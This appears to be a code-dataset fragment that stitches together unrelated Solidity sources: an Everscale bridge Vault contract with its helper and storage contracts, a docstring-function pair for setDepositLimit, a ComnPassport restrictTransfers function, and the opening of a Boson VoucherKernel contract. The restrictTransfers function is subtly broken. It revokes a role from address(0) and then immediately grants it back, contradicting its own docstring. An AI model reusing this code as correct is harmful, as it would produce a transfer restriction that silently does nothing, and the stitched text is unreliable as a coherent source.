return _strategyExpectedReturn(strategyId);
}
function _assessFees(
address strategyId,
uint256 gain
) internal returns (uint256) {
StrategyParams memory strategy = _strategy(strategyId);
// Just added, no fees to assess
if (strategy.activation == block.timestamp) return 0;
uint256 duration = block.timestamp - strategy.lastReport;
require(duration > 0); // Can't call twice within the same block
if (gain == 0) return 0; // The fees are not charged if there hasn't been any gains reported
uint256 management_fee = (
strategy.totalDebt - IStrategy(strategyId).delegatedAssets()
) * duration * managementFee / MAX_BPS / SECS_PER_YEAR;
uint256 strategist_fee = (gain * strategy.performanceFee) / MAX_BPS;
uint256 performance_fee = (gain * performanceFee) / MAX_BPS;
uint256 total_fee = management_fee + strategist_fee + performance_fee;
// Fee
if (total_fee > gain) {
strategist_fee = strategist_fee * gain / total_fee;
performance_fee = performance_fee * gain / total_fee;
management_fee = management_fee * gain / total_fee;
total_fee = gain;
}
if (strategist_fee > 0) {
_transferToEverscale(strategy.rewards, strategist_fee);
}
if (performance_fee + management_fee > 0) {
_transferToEverscale(rewards_, performance_fee + management_fee);
}
return total_fee;
}
/**
@notice Reports the amount of assets the calling Strategy has free (usually in
terms of ROI).
The performance fee is determined here, off of the strategy's profits
(if any), and sent to governance.
The strategist's fee is also determined here (off of profits), to be
handled according to the strategist on the next harvest.
This may only be called by a Strategy managed by this Vault.
@dev For approved strategies, this is the most efficient behavior.
The Strategy reports back what it has free, then Vault "decides"
whether to take some back or give it more. Note that the most it can
take is `gain + _debtPayment`, and the most it can give is all of the
remaining reserves. Anything outside of those bounds is abnormal behavior.
All approved strategies must have increased diligence around
calling this function, as abnormal behavior could become catastrophic.
@param gain Amount Strategy has realized as a gain on it's investment since its
last report, and is free to be given back to Vault as earnings
@param loss Amount Strategy has realized as a loss on it's investment since its
last report, and should be accounted for on the Vault's balance sheet.
The loss will reduce the debtRatio. The next time the strategy will harvest,
it will pay back the debt in an attempt to adjust to the new debt limit.
@param _debtPayment Amount Strategy has made available to cover outstanding debt
@return Amount of debt outstanding (if totalDebt > debtLimit or emergency shutdown).
*/
function report(
uint256 gain,
uint256 loss,
uint256 _debtPayment
)
external
override
strategyExists(msg.sender)
returns (uint256)
{
if (loss > 0) _strategyReportLoss(msg.sender, loss);
uint256 totalFees = _assessFees(msg.sender, gain);
_strategyTotalGainIncrease(msg.sender, gain);
// Compute the line of credit the Vault is able to offer the Strategy (if any)
uint256 credit = _strategyCreditAvailable(msg.sender);
// Outstanding debt the Strategy wants to take back from the Vault (if any)
// debtOutstanding <= strategy.totalDebt
uint256 debt = _strategyDebtOutstanding(msg.sender);
uint256 debtPayment = Math.min(_debtPayment, debt);
if (debtPayment > 0) {
_strategyTotalDebtReduce(msg.sender, debtPayment);
debt -= debtPayment;
}
// Update the actual debt based on the full credit we are extending to the Strategy
// or the returns if we are taking funds back
// NOTE: credit + self.strategies_[msg.sender].totalDebt is always < self.debtLimit
// NOTE: At least one of `credit` or `debt` is always 0 (both can be 0)
if (credit > 0) {
_strategyTotalDebtIncrease(msg.sender, credit);
}
// Give/take balance to Strategy, based on the difference between the reported gains
// (if any), the debt payment (if any), the credit increase we are offering (if any),
// and the debt needed to be paid off (if any)
// NOTE: This is just used to adjust the balance of tokens between the Strategy and
// the Vault based on the Strategy's debt limit (as well as the Vault's).
uint256 totalAvailable = gain + debtPayment;
if (totalAvailable < credit) { // credit surplus, give to Strategy
IERC20(token).safeTransfer(msg.sender, credit - totalAvailable);
} else if (totalAvailable > credit) { // credit deficit, take from Strategy
IERC20(token).safeTransferFrom(msg.sender, address(this), totalAvailable - credit);
} else {
// don't do anything because it is balanced
}
// Profit is locked and gradually released per block
// NOTE: compute current locked profit and replace with sum of current and new
uint256 lockedProfitBeforeLoss = _calculateLockedProfit() + gain - totalFees;
if (lockedProfitBeforeLoss > loss) {
lockedProfit = lockedProfitBeforeLoss - loss;
} else {
lockedProfit = 0;
}
_strategyLastReportUpdate(msg.sender);
StrategyParams memory strategy = _strategy(msg.sender);
emit StrategyReported(
msg.sender,
gain,
loss,
debtPayment,
strategy.totalGain,
strategy.totalSkim,
strategy.totalLoss,
strategy.totalDebt,
credit,
strategy.debtRatio
);
if (strategy.debtRatio == 0 || emergencyShutdown) {
// Take every last penny the Strategy has (Emergency Exit/revokeStrategy)
// NOTE: This is different than `debt` in order to extract *all* of the returns
return IStrategy(msg.sender).estimatedTotalAssets();
} else {
return debt;
}
}
/**
@notice Skim strategy gain to the `rewards_` address.
This may only be called by `governance` or `management`
@param strategyId Strategy address to skim.
*/
function skim(
address strategyId
)
external
override
onlyGovernanceOrManagement
strategyExists(strategyId)
{
uint amount = strategies_[strategyId].totalGain - strategies_[strategyId].totalSkim;
require(amount > 0);
strategies_[strategyId].totalSkim += amount;
_transferToEverscale(rewards_, amount);
}
/**
@notice Removes tokens from this Vault that are not the type of token managed
by this Vault. This may be used in case of accidentally sending the
wrong kind of token to this Vault.
Tokens will be sent to `governance`.
This will fail if an attempt is made to sweep the tokens that this
Vault manages.
This may only be called by `governance`.
@param _token The token to transfer out of this vault.
*/
function sweep(
address _token
) external override onlyGovernance {
require(token != _token);
uint256 amount = IERC20(_token).balanceOf(address(this));
IERC20(_token).safeTransfer(governance, amount);
}
/**
@notice Force user's pending withdraw. Works only if Vault has enough
tokens on its balance.
This may only be called by wrapper.
@param pendingWithdrawalId Pending withdrawal ID
*/
function forceWithdraw(
PendingWithdrawalId memory pendingWithdrawalId
)
public
override
onlyEmergencyDisabled
pendingWithdrawalOpened(pendingWithdrawalId)
pendingWithdrawalApproved(pendingWithdrawalId)
{
PendingWithdrawalParams memory pendingWithdrawal = _pendingWithdrawal(pendingWithdrawalId);
IERC20(token).safeTransfer(pendingWithdrawalId.recipient, pendingWithdrawal.amount);
_pendingWithdrawalAmountReduce(pendingWithdrawalId, pendingWithdrawal.amount);
emit PendingWithdrawalForce(pendingWithdrawalId.recipient, pendingWithdrawalId.id);
}
/**
@notice Multicall for `forceWithdraw`
@param pendingWithdrawalId List of pending withdrawal IDs
*/
function forceWithdraw(
PendingWithdrawalId[] memory pendingWithdrawalId
) external override {
for (uint i = 0; i < pendingWithdrawalId.length; i++) {
forceWithdraw(pendingWithdrawalId[i]);
}
}
/**
@notice Set approve status for pending withdrawal.
Pending withdrawal must be in `Required` (1) approve status, so approve status can be set only once.
If Vault has enough tokens on its balance - withdrawal will be filled immediately.
This may only be called by `governance` or `withdrawGuardian`.
@param pendingWithdrawalId Pending withdrawal ID.
@param approveStatus Approve status. Must be `Approved` (2) or `Rejected` (3).
*/
function setPendingWithdrawalApprove(
PendingWithdrawalId memory pendingWithdrawalId,
ApproveStatus approveStatus
)
public
override
onlyGovernanceOrWithdrawGuardian
pendingWithdrawalOpened(pendingWithdrawalId)
{
PendingWithdrawalParams memory pendingWithdrawal = _pendingWithdrawal(pendingWithdrawalId);
require(pendingWithdrawal.approveStatus == ApproveStatus.Required);
require(
approveStatus == ApproveStatus.Approved ||
approveStatus == ApproveStatus.Rejected
);
_pendingWithdrawalApproveStatusUpdate(pendingWithdrawalId, approveStatus);
// Fill approved withdrawal
if (approveStatus == ApproveStatus.Approved && pendingWithdrawal.amount <= _vaultTokenBalance()) {
_pendingWithdrawalAmountReduce(pendingWithdrawalId, pendingWithdrawal.amount);
IERC20(token).safeTransfer(
pendingWithdrawalId.recipient,
pendingWithdrawal.amount
);
emit PendingWithdrawalWithdraw(
pendingWithdrawalId.recipient,
pendingWithdrawalId.id,
pendingWithdrawal.amount,
pendingWithdrawal.amount
);
}
// Update withdrawal period considered amount
_withdrawalPeriodIncreaseConsideredByTimestamp(
pendingWithdrawal.timestamp,
pendingWithdrawal.amount
);
}
/**
@notice Multicall for `setPendingWithdrawalApprove`.
@param pendingWithdrawalId List of pending withdrawals IDs.
@param approveStatus List of approve statuses.
*/
function setPendingWithdrawalApprove(
PendingWithdrawalId[] memory pendingWithdrawalId,
ApproveStatus[] memory approveStatus
) external override {
require(pendingWithdrawalId.length == approveStatus.length);
for (uint i = 0; i < pendingWithdrawalId.length; i++) {
setPendingWithdrawalApprove(pendingWithdrawalId[i], approveStatus[i]);
}
}
function _transferToEverscale(
EverscaleAddress memory recipient,
uint256 _amount
) internal {
uint256 amount = convertToTargetDecimals(_amount);
emit Deposit(amount, recipient.wid, recipient.addr);
}
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.2;
import "../libraries/Math.sol";
import "../interfaces/IStrategy.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./VaultStorage.sol";
abstract contract VaultHelpers is VaultStorage {
modifier onlyGovernance() {
require(msg.sender == governance);
_;
}
modifier onlyPendingGovernance() {
require(msg.sender == pendingGovernance);
_;
}
modifier onlyStrategyOrGovernanceOrGuardian(address strategyId) {
require(msg.sender == strategyId || msg.sender == governance || msg.sender == guardian);
_;
}
modifier onlyGovernanceOrManagement() {
require(msg.sender == governance || msg.sender == management);
_;
}
modifier onlyGovernanceOrGuardian() {
require(msg.sender == governance || msg.sender == guardian);
_;
}
modifier onlyGovernanceOrWithdrawGuardian() {
require(msg.sender == governance || msg.sender == withdrawGuardian);
_;
}
modifier onlyGovernanceOrStrategyRewardsManager(address strategyId) {
require(msg.sender == governance || msg.sender == strategies_[strategyId].rewardsManager);
_;
}
modifier pendingWithdrawalOpened(
PendingWithdrawalId memory pendingWithdrawalId
) {
PendingWithdrawalParams memory pendingWithdrawal = _pendingWithdrawal(pendingWithdrawalId);
require(pendingWithdrawal.amount > 0, "Vault: pending withdrawal closed");
_;
}
modifier pendingWithdrawalApproved(
PendingWithdrawalId memory pendingWithdrawalId
) {
PendingWithdrawalParams memory pendingWithdrawal = _pendingWithdrawal(pendingWithdrawalId);
require(
pendingWithdrawal.approveStatus == ApproveStatus.NotRequired ||
pendingWithdrawal.approveStatus == ApproveStatus.Approved,
"Vault: pending withdrawal not approved"
);
_;
}
modifier strategyExists(address strategyId) {
StrategyParams memory strategy = _strategy(strategyId);
require(strategy.activation > 0, "Vault: strategy not exists");
_;
}
modifier strategyNotExists(address strategyId) {
StrategyParams memory strategy = _strategy(strategyId);
require(strategy.activation == 0, "Vault: strategy exists");
_;
}
modifier respectDepositLimit(uint amount) {
require(
_totalAssets() + amount <= depositLimit,
"Vault: respect the deposit limit"
);
_;
}
modifier onlyEmergencyDisabled() {
require(!emergencyShutdown, "Vault: emergency mode enabled");
_;
}
modifier withdrawalNotSeenBefore(bytes memory payload) {
bytes32 withdrawalId = keccak256(payload);
require(!withdrawalIds[withdrawalId], "Vault: withdraw payload already seen");
_;
withdrawalIds[withdrawalId] = true;
}
function decodeWithdrawalEventData(
bytes memory eventData
) public view override returns(WithdrawalParams memory) {
(
int8 sender_wid,
uint256 sender_addr,
uint128 amount,
uint160 recipient,
uint32 chainId
) = abi.decode(
eventData,
(int8, uint256, uint128, uint160, uint32)
);
return WithdrawalParams({
sender: EverscaleAddress(sender_wid, sender_addr),
amount: convertFromTargetDecimals(amount),
recipient: address(recipient),
chainId: chainId
});
}
//8b d8 db 88 88 88 888888888888
//`8b d8' d88b 88 88 88 88
// `8b d8' d8'`8b 88 88 88 88
// `8b d8' d8' `8b 88 88 88 88
// `8b d8' d8YaaaaY8b 88 88 88 88
// `8b d8' d8""""""""8b 88 88 88 88
// `888' d8' `8b Y8a. .a8P 88 88
// `8' d8' `8b `"Y8888Y"' 88888888888 88
function _vaultTokenBalance() internal view returns (uint256) {
return IERC20(token).balanceOf(address(this));
}
function _debtRatioReduce(
uint256 amount
) internal {
debtRatio -= amount;
}
function _debtRatioIncrease(
uint256 amount
) internal {
debtRatio += amount;
}
function _totalAssets() internal view returns (uint256) {
return _vaultTokenBalance() + totalDebt;
}
function _calculateLockedProfit() internal view returns (uint256) {
uint256 lockedFundsRatio = (block.timestamp - lastReport) * lockedProfitDegradation;
if (lockedFundsRatio < DEGRADATION_COEFFICIENT) {
uint256 _lockedProfit = lockedProfit;
return _lockedProfit - (lockedFundsRatio * _lockedProfit / DEGRADATION_COEFFICIENT);
} else {
return 0;
}
}
function convertFromTargetDecimals(
uint256 amount
) public view returns (uint256) {
if (targetDecimals == tokenDecimals) {
return amount;
} else if (targetDecimals > tokenDecimals) {
return amount / 10 ** (targetDecimals - tokenDecimals);
} else {
return amount * 10 ** (tokenDecimals - targetDecimals);
}
}
function convertToTargetDecimals(
uint256 amount
) public view returns (uint256) {
if (targetDecimals == tokenDecimals) {
return amount;
} else if (targetDecimals > tokenDecimals) {
return amount * 10 ** (targetDecimals - tokenDecimals);
} else {
return amount / 10 ** (tokenDecimals - targetDecimals);
}
}
function _calculateMovementFee(
uint256 amount,
uint256 fee
) internal pure returns (uint256) {
if (fee == 0) return 0;
return amount * fee / MAX_BPS;
}
// ad88888ba 888888888888 88888888ba db 888888888888 88888888888 ,ad8888ba, 8b d8
//d8" "8b 88 88 "8b d88b 88 88 d8"' `"8b Y8, ,8P
//Y8, 88 88 ,8P d8'`8b 88 88 d8' Y8, ,8P
//`Y8aaaaa, 88 88aaaaaa8P' d8' `8b 88 88aaaaa 88 "8aa8"
// `"""""8b, 88 88""""88' d8YaaaaY8b 88 88""""" 88 88888 `88'
// `8b 88 88 `8b d8""""""""8b 88 88 Y8, 88 88
//Y8a a8P 88 88 `8b d8' `8b 88 88 Y8a. .a88 88
// "Y88888P" 88 88 `8b d8' `8b 88 88888888888 `"Y88888P" 88
function _strategy(
address strategyId
) internal view returns (StrategyParams memory) {
return strategies_[strategyId];
}
function _strategyCreate(
address strategyId,
StrategyParams memory strategyParams
) internal {
strategies_[strategyId] = strategyParams;
}
function _strategyRewardsUpdate(
address strategyId,
EverscaleAddress memory _rewards
) internal {
strategies_[strategyId].rewards = _rewards;
}
function _strategyDebtRatioUpdate(
address strategyId,
uint256 debtRatio
) internal {
strategies_[strategyId].debtRatio = debtRatio;
}
function _strategyLastReportUpdate(
address strategyId
) internal {
strategies_[strategyId].lastReport = block.timestamp;
lastReport = block.timestamp;
}
function _strategyTotalDebtReduce(
address strategyId,
uint256 debtPayment
) internal {
strategies_[strategyId].totalDebt -= debtPayment;
totalDebt -= debtPayment;
}
function _strategyTotalDebtIncrease(
address strategyId,
uint256 credit
) internal {
strategies_[strategyId].totalDebt += credit;
totalDebt += credit;
}
function _strategyDebtOutstanding(
address strategyId
) internal view returns (uint256) {
StrategyParams memory strategy = _strategy(strategyId);
if (debtRatio == 0) return strategy.totalDebt;
uint256 strategy_debtLimit = strategy.debtRatio * _totalAssets() / MAX_BPS;
if (emergencyShutdown) {
return strategy.totalDebt;
} else if (strategy.totalDebt <= strategy_debtLimit) {
return 0;
} else {
return strategy.totalDebt - strategy_debtLimit;
}
}
function _strategyCreditAvailable(
address strategyId
) internal view returns (uint256) {
if (emergencyShutdown) return 0;
uint256 vault_totalAssets = _totalAssets();
// Cant extend Strategies debt until total amount of pending withdrawals is more than Vault's total assets
if (pendingWithdrawalsTotal >= vault_totalAssets) return 0;
uint256 vault_debtLimit = debtRatio * vault_totalAssets / MAX_BPS;
uint256 vault_totalDebt = totalDebt;
StrategyParams memory strategy = _strategy(strategyId);
uint256 strategy_debtLimit = strategy.debtRatio * vault_totalAssets / MAX_BPS;
// Exhausted credit line
if (strategy_debtLimit <= strategy.totalDebt || vault_debtLimit <= vault_totalDebt) return 0;
// Start with debt limit left for the Strategy
uint256 available = strategy_debtLimit - strategy.totalDebt;
// Adjust by the global debt limit left
available = Math.min(available, vault_debtLimit - vault_totalDebt);
// Can only borrow up to what the contract has in reserve
// NOTE: Running near 100% is discouraged
available = Math.min(available, IERC20(token).balanceOf(address(this)));
// Adjust by min and max borrow limits (per harvest)
// NOTE: min increase can be used to ensure that if a strategy has a minimum
// amount of capital needed to purchase a position, it's not given capital
// it can't make use of yet.
// NOTE: max increase is used to make sure each harvest isn't bigger than what
// is authorized. This combined with adjusting min and max periods in
// `BaseStrategy` can be used to effect a "rate limit" on capital increase.
if (available < strategy.minDebtPerHarvest) {
return 0;
} else {
return Math.min(available, strategy.maxDebtPerHarvest);
}
}
function _strategyTotalGainIncrease(
address strategyId,
uint256 amount
) internal {
strategies_[strategyId].totalGain += amount;
}
function _strategyExpectedReturn(
address strategyId
) internal view returns (uint256) {
StrategyParams memory strategy = _strategy(strategyId);
uint256 timeSinceLastHarvest = block.timestamp - strategy.lastReport;
uint256 totalHarvestTime = strategy.lastReport - strategy.activation;
if (timeSinceLastHarvest > 0 && totalHarvestTime > 0 && IStrategy(strategyId).isActive()) {
return strategy.totalGain * timeSinceLastHarvest / totalHarvestTime;
} else {
return 0;
}
}
function _strategyDebtRatioReduce(
address strategyId,
uint256 amount
) internal {
strategies_[strategyId].debtRatio -= amount;
debtRatio -= amount;
}
function _strategyRevoke(
address strategyId
) internal {
_strategyDebtRatioReduce(strategyId, strategies_[strategyId].debtRatio);
}
function _strategyMinDebtPerHarvestUpdate(
address strategyId,
uint256 minDebtPerHarvest
) internal {
strategies_[strategyId].minDebtPerHarvest = minDebtPerHarvest;
}
function _strategyMaxDebtPerHarvestUpdate(
address strategyId,
uint256 maxDebtPerHarvest
) internal {
strategies_[strategyId].maxDebtPerHarvest = maxDebtPerHarvest;
}
function _strategyReportLoss(
address strategyId,
uint256 loss
) internal {
StrategyParams memory strategy = _strategy(strategyId);
uint256 totalDebt = strategy.totalDebt;
// Loss can only be up the amount of debt issued to strategy
require(loss <= totalDebt);
// Also, make sure we reduce our trust with the strategy by the amount of loss
if (debtRatio != 0) { // if vault with single strategy that is set to EmergencyOne
// NOTE: The context to this calculation is different than the calculation in `_reportLoss`,
// this calculation intentionally approximates via `totalDebt` to avoid manipulable results
// NOTE: This calculation isn't 100% precise, the adjustment is ~10%-20% more severe due to EVM math
uint256 ratio_change = Math.min(
loss * debtRatio / totalDebt,
strategy.debtRatio
);
_strategyDebtRatioReduce(strategyId, ratio_change);
}
// Finally, adjust our strategy's parameters by the loss
strategies_[strategyId].totalLoss += loss;
_strategyTotalDebtReduce(strategyId, loss);
}
//88888888ba 88888888888 888b 88 88888888ba, 88 888b 88 ,ad8888ba,
//88 "8b 88 8888b 88 88 `"8b 88 8888b 88 d8"' `"8b
//88 ,8P 88 88 `8b 88 88 `8b 88 88 `8b 88 d8'
//88aaaaaa8P' 88aaaaa 88 `8b 88 88 88 88 88 `8b 88 88
//88""""""' 88""""" 88 `8b 88 88 88 88 88 `8b 88 88 88888
//88 88 88 `8b 88 88 8P 88 88 `8b 88 Y8, 88
//88 88 88 `8888 88 .a8P 88 88 `8888 Y8a. .a88
//88 88888888888 88 `888 88888888Y"' 88 88 `888 `"Y88888P"
function _pendingWithdrawal(
PendingWithdrawalId memory pendingWithdrawalId
) internal view returns (PendingWithdrawalParams memory) {
return pendingWithdrawals_[pendingWithdrawalId.recipient][pendingWithdrawalId.id];
}
function _pendingWithdrawalCreate(
address recipient,
uint256 amount,
uint256 timestamp
) internal returns (uint256 pendingWithdrawalId) {
pendingWithdrawalId = pendingWithdrawalsPerUser[recipient];
pendingWithdrawalsPerUser[recipient]++;
pendingWithdrawals_[recipient][pendingWithdrawalId] = PendingWithdrawalParams({
amount: amount,
timestamp: timestamp,
bounty: 0,
approveStatus: ApproveStatus.NotRequired
});
pendingWithdrawalsTotal += amount;
return pendingWithdrawalId;
}
function _pendingWithdrawalBountyUpdate(
PendingWithdrawalId memory pendingWithdrawalId,
uint bounty
) internal {
pendingWithdrawals_[pendingWithdrawalId.recipient][pendingWithdrawalId.id].bounty = bounty;
emit PendingWithdrawalUpdateBounty(pendingWithdrawalId.recipient, pendingWithdrawalId.id, bounty);
}
function _pendingWithdrawalAmountReduce(
PendingWithdrawalId memory pendingWithdrawalId,
uint amount
) internal {
pendingWithdrawals_[pendingWithdrawalId.recipient][pendingWithdrawalId.id].amount -= amount;
pendingWithdrawalsTotal -= amount;
}
function _pendingWithdrawalApproveStatusUpdate(
PendingWithdrawalId memory pendingWithdrawalId,
ApproveStatus approveStatus
) internal {
pendingWithdrawals_[pendingWithdrawalId.recipient][pendingWithdrawalId.id].approveStatus = approveStatus;
emit PendingWithdrawalUpdateApproveStatus(
pendingWithdrawalId.recipient,
pendingWithdrawalId.id,
approveStatus
);
}
//88888888ba 88888888888 88888888ba 88 ,ad8888ba, 88888888ba,
//88 "8b 88 88 "8b 88 d8"' `"8b 88 `"8b
//88 ,8P 88 88 ,8P 88 d8' `8b 88 `8b
//88aaaaaa8P' 88aaaaa 88aaaaaa8P' 88 88 88 88 88
//88""""""' 88""""" 88""""88' 88 88 88 88 88
//88 88 88 `8b 88 Y8, ,8P 88 8P
//88 88 88 `8b 88 Y8a. .a8P 88 .a8P
//88 88888888888 88 `8b 88 `"Y8888Y"' 88888888Y"'
function _withdrawalPeriodDeriveId(
uint256 timestamp
) internal pure returns (uint256) {
return timestamp / WITHDRAW_PERIOD_DURATION_IN_SECONDS;
}
function _withdrawalPeriod(
uint256 timestamp
) internal view returns (WithdrawalPeriodParams memory) {
return withdrawalPeriods_[_withdrawalPeriodDeriveId(timestamp)];
}
function _withdrawalPeriodIncreaseTotalByTimestamp(
uint256 timestamp,
uint256 amount
) internal {
uint withdrawalPeriodId = _withdrawalPeriodDeriveId(timestamp);
withdrawalPeriods_[withdrawalPeriodId].total += amount;
}
function _withdrawalPeriodIncreaseConsideredByTimestamp(
uint256 timestamp,
uint256 amount
) internal {
uint withdrawalPeriodId = _withdrawalPeriodDeriveId(timestamp);
withdrawalPeriods_[withdrawalPeriodId].considered += amount;
}
function _withdrawalPeriodCheckLimitsPassed(
uint amount,
WithdrawalPeriodParams memory withdrawalPeriod
) internal view returns (bool) {
return amount < undeclaredWithdrawLimit &&
amount + withdrawalPeriod.total - withdrawalPeriod.considered < withdrawLimitPerPeriod;
}
function _getChainID() internal view returns (uint256) {
uint256 id;
assembly {
id := chainid()
}
return id;
}
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.2;
import "@openzeppelin/contracts/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./../interfaces/vault/IVault.sol";
abstract contract VaultStorage is IVault, Initializable, ReentrancyGuard {
uint256 constant MAX_BPS = 10_000;
uint256 constant WITHDRAW_PERIOD_DURATION_IN_SECONDS = 60 * 60 * 24; // 24 hours
uint256 constant SECS_PER_YEAR = 31_556_952; // 365.2425 days
// Bridge
// - Bridge address, used to verify relay's signatures. Read more on `saveWithdraw`
address public override bridge;
// - Bridge EVER-EVM event configuration
// NOTE: Some variables have "_" postfix and not declared as a "public override"
// Instead they have explicit corresponding getter
// It's a compiler issue, described here - https://github.com/ethereum/solidity/issues/11826
EverscaleAddress configuration_;
function configuration()
external
view
override
returns (EverscaleAddress memory) {
return configuration_;
}
// - Withdrawal receipt IDs, used to prevent double spending
mapping(bytes32 => bool) public override withdrawalIds;
// - Rewards address in Everscale, receives fees, gains, etc
EverscaleAddress rewards_;
function rewards()
external
view
override
returns (EverscaleAddress memory) {
return rewards_;
}
// Pending withdrawals
// - Counter pending withdrawals per user
mapping(address => uint) public override pendingWithdrawalsPerUser;
// - Pending withdrawal details
mapping(address => mapping(uint256 => PendingWithdrawalParams)) pendingWithdrawals_;
function pendingWithdrawals(
address user,
uint256 id
) external view override returns (PendingWithdrawalParams memory) {
return pendingWithdrawals_[user][id];
}
// - Total amount of `token` in pending withdrawal status
uint public override pendingWithdrawalsTotal;
// Ownership
// - Governance
address public override governance;
// - Pending governance, used for 2-step governance transfer
address pendingGovernance;
// - Guardian, responsible for security actions
address public override guardian;
// - Withdraw guardian, responsible for approving / rejecting some of the withdrawals
address public override withdrawGuardian;
// - Management, responsible for managing strategies
address public override management;
// Token
// - Vault's token
address public override token;
// - Decimals on corresponding token in the Everscale network
uint256 public override targetDecimals;
// - Decimals of `token`
uint256 public override tokenDecimals;
// Fees
// - Deposit fee, in BPS
uint256 public override depositFee;
// - Withdraw fee, in BPS
uint256 public override withdrawFee;
// - Management fee, in BPS
uint256 public override managementFee;
// - Performance fee, in BPS
uint256 public override performanceFee;
// Strategies
// - Strategies registry
mapping(address => StrategyParams) strategies_;
function strategies(
address strategyId
) external view override returns (StrategyParams memory) {
return strategies_[strategyId];
}
uint256 constant DEGRADATION_COEFFICIENT = 10**18;
// - SET_SIZE can be any number but having it in power of 2 will be more gas friendly and collision free.
// - Make sure SET_SIZE is greater than 20
uint256 constant SET_SIZE = 32;
// - Ordering that `withdraw` uses to determine which strategies to pull funds from
// Does *NOT* have to match the ordering of all the current strategies that
// exist, but it is recommended that it does or else withdrawal depth is
// limited to only those inside the queue.
// Ordering is determined by governance, and should be balanced according
// to risk, slippage, and/or volatility. Can also be ordered to increase the
// withdrawal speed of a particular Strategy.
// The first time a zero address is encountered, it stops withdrawing
// Maximum amount of strategies in withdrawal queue = 20
address[20] withdrawalQueue_;
function withdrawalQueue() external view override returns (address[20] memory) {
return withdrawalQueue_;
}
// Security
// - Emergency shutdown, most of operations are unavailable in emergency mode
bool public override emergencyShutdown;
// - Withdraw limit per period
uint256 public override withdrawLimitPerPeriod;
// - Undeclared withdraw limit
uint256 public override undeclaredWithdrawLimit;
// - Withdrawal periods. Each period is `WITHDRAW_PERIOD_DURATION_IN_SECONDS` seconds long.
// If some period has reached the `withdrawalLimitPerPeriod` - all the future
// withdrawals in this period require manual approve, see note on `setPendingWithdrawalsApprove`
mapping(uint256 => WithdrawalPeriodParams) withdrawalPeriods_;
function withdrawalPeriods(
uint256 withdrawalPeriodId
) external view override returns (WithdrawalPeriodParams memory) {
return withdrawalPeriods_[withdrawalPeriodId];
}
// Vault
// - Limit for `totalAssets` the Vault can hold
uint256 public override depositLimit;
// - Debt ratio for the Vault across al strategies (<= MAX_BPS)
uint256 public override debtRatio;
// - Amount of all tokens that all strategies have borrowed
uint256 public override totalDebt;
// - block.timestamp of last report
uint256 public override lastReport;
// - How much profit is locked and cant be withdrawn
uint256 public override lockedProfit;
// - Rate per block of degradation. DEGRADATION_COEFFICIENT is 100% per block
uint256 public override lockedProfitDegradation;
} | Changes the maximum amount of `token` that can be deposited in this Vault Note, this is not how much may be deposited by a single depositor, but the maximum amount that may be deposited across all depositors. This may be called only by `governance` limit The new deposit limit to use. | function setDepositLimit(
uint256 limit
) external override onlyGovernance {
depositLimit = limit;
emit UpdateDepositLimit(depositLimit);
}
| 6,186,394 |
./full_match/137/0xA2f025104a236148ad9AEDCFE91C203c46210D32/sources/src/contracts/ComnPassport.sol | Restrict transfers of NFTs. Restricting transfers means revoking the TRANSFER_ADMIN_ROLE from address(0). Making transfers unrestricted means granting the TRANSFER_ADMIN_ROLE to address(0). _toRestrict Whether to restrict transfers or not./ | function restrictTransfers(bool _toRestrict) public virtual
onlyRole(DEFAULT_ADMIN_ROLE)
{
if (_toRestrict) {
_revokeRole(TRANSFER_ADMIN_ROLE, address(0));
_setupRole(TRANSFER_ADMIN_ROLE, address(0));
}
}
| 4,788,316 |
// SPDX-License-Identifier: LGPL-3.0-or-later
pragma solidity 0.7.6;
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Pausable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "./interfaces/IVoucherSets.sol";
import "./interfaces/IVouchers.sol";
import "./interfaces/IVoucherKernel.sol";
import {PaymentMethod, VoucherState, VoucherStatus, isStateCommitted, isStateRedemptionSigned, isStateRefunded, isStateExpired, isStatus, determineStatus} from "./UsingHelpers.sol";
//preparing for ERC-1066, ERC-1444, EIP-838
/**
* @title VoucherKernel contract controls the core business logic
* @dev Notes:
* - The usage of block.timestamp is honored since vouchers are defined currently with day-precision.
* See: https://ethereum.stackexchange.com/questions/5924/how-do-ethereum-mining-nodes-maintain-a-time-consistent-with-the-network/5931#5931
*/
// solhint-disable-next-line
contract VoucherKernel is IVoucherKernel, Ownable, Pausable, ReentrancyGuard {
using Address for address;
using SafeMath for uint256;
//ERC1155 contract representing voucher sets
address private voucherSetTokenAddress;
//ERC721 contract representing vouchers;
address private voucherTokenAddress;
//promise for an asset could be reusable, but simplified here for brevity
struct Promise {
bytes32 promiseId;
uint256 nonce; //the asset that is offered
address seller; //the seller who created the promise
//we simplify the value for the demoapp, otherwise voucher details would be packed in one bytes32 field value
uint256 validFrom;
uint256 validTo;
uint256 price;
uint256 depositSe;
uint256 depositBu;
uint256 idx;
}
struct VoucherPaymentMethod {
PaymentMethod paymentMethod;
address addressTokenPrice;
address addressTokenDeposits;
}
address private bosonRouterAddress; //address of the Boson Router contract
address private cashierAddress; //address of the Cashier contract
mapping(bytes32 => Promise) private promises; //promises to deliver goods or services
mapping(address => uint256) private tokenNonces; //mapping between seller address and its own nonces. Every time seller creates supply ID it gets incremented. Used to avoid duplicate ID's
mapping(uint256 => VoucherPaymentMethod) private paymentDetails; // tokenSupplyId to VoucherPaymentMethod
bytes32[] private promiseKeys;
mapping(uint256 => bytes32) private ordersPromise; //mapping between an order (supply a.k.a. VoucherSet) and a promise
mapping(uint256 => VoucherStatus) private vouchersStatus; //recording the vouchers evolution
//ID reqs
mapping(uint256 => uint256) private typeCounters; //counter for ID of a particular type of NFT
uint256 private constant MASK_TYPE = uint256(uint128(~0)) << 128; //the type mask in the upper 128 bits
//1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
uint256 private constant MASK_NF_INDEX = uint128(~0); //the non-fungible index mask in the lower 128
//0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000011111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
